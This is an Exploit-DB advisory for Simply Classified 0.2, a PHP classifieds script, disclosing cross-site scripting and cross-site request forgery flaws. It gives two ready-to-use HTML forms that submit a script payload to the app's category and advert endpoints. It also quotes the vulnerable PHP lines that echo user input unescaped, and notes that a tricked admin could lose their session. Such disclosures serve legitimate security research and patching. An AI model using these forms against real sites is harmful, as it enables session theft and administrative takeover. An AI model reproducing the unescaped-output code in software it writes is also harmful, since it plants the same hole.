Simply Classified 0.2 - Cross-Site Scripting / Cross-Site Request Forgery

EDB-ID:

11094

CVE:


Author:

mr_me

Type:

webapps

Platform:

PHP

Published:

2010-01-10

#################################################################
#
# Simply Classified 0.2 XSS & CSRF Vulnerabilities
# Found by: mr_me
# Tested On: Windows Vista
# Note: For educational purposes only
# Author contact date: 16th December 2009
# Advisory: http://www.corelan.be:8800/index.php/forum/security-advisories/corelan-10-002-simply-classifieds-v0.2-xss-and-csrf/
# Greetz to: corelanc0d3r, rick2600, ekse & MarkoT from Corelan Team
#
#################################################################

|------------------------------------------------------------------|
|                         __               __                      |
|   _________  ________  / /___ _____     / /____  ____ _____ ___  |
|  / ___/ __ \/ ___/ _ \/ / __ `/ __ \   / __/ _ \/ __ `/ __ `__ \ |
| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |
| \___/\____/_/   \___/_/\__,_/_/ /_/   \__/\___/\__,_/_/ /_/ /_/  |
|                                                                  |
|                                       http://www.corelan.be:8800 |
|                                              security@corelan.be |
|                                                                  |
|-------------------------------------------------[ EIP Hunters ]--|

-------------------------------------------------------------------
[+] 1st exploit:
-------------------------------------------------------------------

<form name="new_category" action="http://[server]/classified/new_cats.php" method="POST">
<table align="center" width="550" border="0" cellspacing="1" cellpadding="1">
      <tr>
        <input name="category"  type="hidden" value="hacked" size="37" maxlength="30" />
      </tr>
      <tr>
          <input name="description" type="hidden" value="<script>alert(document.cookie)</script>" size="40" maxlength="40" />
    </tr>
    <tr>
        <input type="submit" name="Create" id="Create" value="Create" >
    </tr>
</table>
</form>

-------------------------------------------------------------------
[+] Vulnerability details:
-------------------------------------------------------------------

The author directly includes user controlled php variable into the HTML page ($ar and $description).

edit_cats.php - line 86:
<td align="center">Description: 
    <input name="description" type="text" value="<?php echo "$description";?>" autocomplete="off" size="40" maxlength="40" />
    </td>
</tr>
    
    
edit_adverts.php - line 120:
<td colspan="2" align="center" style="font-size:14px"><?php echo "<b>$ar</b>"; ?> </td>


In order to trigger the vulnerability, a user/admin must be tricked into clicking on a malicous url.
This would allow a hacker to execute javascript code in the context of the user/admin and possibly gain administration access.

-------------------------------------------------------------------
[+] 2nd exploit:
-------------------------------------------------------------------

<form name="get_advert" action="http://[server]/classified/edit_advert.php" method="post">
    <select name="advert_no" size="1">
        <option value="<script>alert(document.cookie)</script>">editme :)
<input type="submit" name="Go" id="Go" value="Go" >
</form>